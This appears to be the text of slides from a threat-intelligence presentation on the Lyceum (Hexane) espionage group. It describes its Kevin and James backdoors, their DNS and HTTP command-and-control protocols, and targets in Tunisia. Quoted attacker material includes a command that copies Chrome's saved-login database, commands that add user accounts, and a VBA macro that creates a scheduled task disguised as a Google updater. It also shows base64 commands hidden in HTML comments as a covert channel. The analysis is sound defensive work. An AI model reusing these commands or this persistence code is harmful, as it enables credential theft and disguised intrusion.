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• Activity dates back to 2018

• Targets in the Middle East

• Also referred to as Hexane
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• New payloads emerged in late 2019

• Two variants: Kevin and James

• Written in C++
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• Two variants based on the project names in the PDBs: Kevin and James



• Emerged in November 2019

• Communicates with C&C over DNS and HTTP

• Appears to be no longer in use



• DNS Protocol: 

CustomBase32(<random>*<time><action><botid>).<c2_domain>

• HTTP Protocol:

<h7>base64(filename.d);base64(command_to_be_executed)<h6>



• Emerged in April 2020

• Has two versions: 1.0.2 and 2.1.0.2

• One protocol per sample: DNS or HTTP

• Has offline variants



• Creates custom subdomains

• Receives custom IP addresses from the DNS queries

hochhnkt.hqcw_gynx9zt8.onlineoutlook[.]net

encoded 
command

encoded data



• “c” command: listening for commands

121.32.32.32

“y”

hq7ehnkt.fizvzoznxl7ejrc1h1.onlineoutlook[.]net

15c33.Dd9BLpulse1B.onlineoutlook[.]net

ha7hhnkt.s1fho7876sjw6cvtnac_.onlineoutlook[.]net

54c33.IPhhZRpulse6.onlineoutlook[.]net

h_jhhnkt.n9vazrteng6qhrvp9ike6x_.onlineoutlook[.]net

00c33.cGIrvgTCpulse8.onlineoutlook[.]net 



• “g” command: command file receipt & execution

35.101.120.32

filename.txt

#ex

102 . 105 . 108 . 101 file

110 . 97 . 109 . 101 name

46 . 116 . 120 . 116 .txt

35 . 101 . 120 . 32 #ex



• Same functionality as the DNS variant, only over HTTP

hxxp://[C&C_Domain]/?kind=action_code&serv=Base64(victim_id)&name=Base64(data_param)

Code Action

2 Register, request further commands

3 Command execution output

4 File creation acknowledgement 

5 Domain update request #1

6 Domain update request #2

7 Command execution response





• No C2 communication

• Possibly used as a proxy in the internal compromised network

• We assess that it was intended to be dropped on systems without internet 
connectivity



• How were the targeted network’s initially infected?

• Indications of initial access via RDP from a compromised third party

• The attackers used various commands to spread onwards

cmd /c hostname

cmd /c ipconfig /all

cmd /c tracert 4.2.2.4

cmd.exe /c copy "$appdata\Google\Chrome\User Data\Default\Login Data" $temp\syslogs\FlAH6r

cmd /c net user <redacted> <redacted> /add & net localgroup <redacted> <redacted> /add

cmd  /c net localgroup "Utilisateurs du Bureau à distance" <redacted> /add



• Similar underlying communication protocol tunneled over DNS
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• Same spelling mistakes

New C++ Variants

Old .NET Variant



• Same spelling mistakes

New C++ Variants

Old .NET Variant



• We found artefacts connecting  Lyceum to the DNSpionage group

• DNSpionage was in turn tied to the activity of Oilrig,



Lyceum Document Macro DNSpionage Document Macro

• Connections to DNSpionage

Set svr = CreateObject("Schedule.Service")

Call svr.Connect

Dim rootFolder

Set rootFolder = svr.GetFolder("\")

Dim taskDefinition

Set taskDefinition = svr.NewTask(0)

Dim regInfo

Set regInfo = taskDefinition.RegistrationInfo

regInfo.Description = ""

regInfo.Author = getCurrentUserName

Dim settings 

Set settings = taskDefinition.settings

settings.StartWhenAvailable = True

. . .

Const e0 = "sc"

Const e1 = "he"

Const e2 = "ule.ser"

' Create the TaskService object. 

Set service = CreateObject(e0 & e1 & "d" & e2 & "vice")

Call service.Connect

Dim rootFolder

Set rootFolder = service.GetFolder("\")

' The taskDefinition variable is the TaskDefinition object. 

Dim taskDefinition

' The flags parameter is 0 because it is not supported. 

Set taskDefinition = service.NewTask(0)

' Define information about the task. 

Dim regInfo

Set regInfo = taskDefinition.RegistrationInfo

regInfo.Description = "chromium updater v 37.5.0"

regInfo.Author = "Google Inc."

' Set the prinicpal for the task

Dim prinicpal

Set prinicpal = taskDefinition.principal

...



<!DOCTYPE html>

<html lang="mul" class="no-js">

<head>

{"c": "echo %username%", "i": "-4000", "t": -1, "k": 0}

<!--eyJjIjogImVjaG8gJXVzZXJuYW1lJSIsICJpIjogIi00MDAwIiwgInQiOiAtMSwgImsiOiAwfQ==-->

{"c": "hostname", "i": "-5000", "t": -1, "k": 0}

<!--eyJjIjogImhvc3RuYW1lIiwgImkiOiAiLTUwMDAiLCAidCI6IC0xLCAiayI6IDB9-->

{"c": "systeminfo | findstr /B /C:\"Domain\"", "i": "-6000", "t": -1, "k": 0}

<!--eyJjIjogInN5c3RlbWluZm8gfCBmaW5kc3RyIC9CIC9DOlwiRG9tYWluXCIiLCAiaSI6ICItNjAwMCIsICJ0IjogLTEsICJrIjogMH0=-->

<meta charset="utf-8">

...

Page source embeds hidden information, 
like the‘Kevin’ HTTP protocol

• Connections to DNSpionage



• All targets are from one country: Tunisia

• Narrow and sector focused targeting: Aviation and 
telecommunication companies

• One option: the operators were trying to track 
individuals in motion

• Other options: targeting sensitive assets or individuals 
in the country



• Lyceum is a threat group that has been active since at least 2018, 
engaged in espionage activity

• Possible successor of DNSpionage after the OilRig leaks

• Highly active, but targets only a handful of high profile victims in 
the Middle East

• Operation has been interrupted by our efforts
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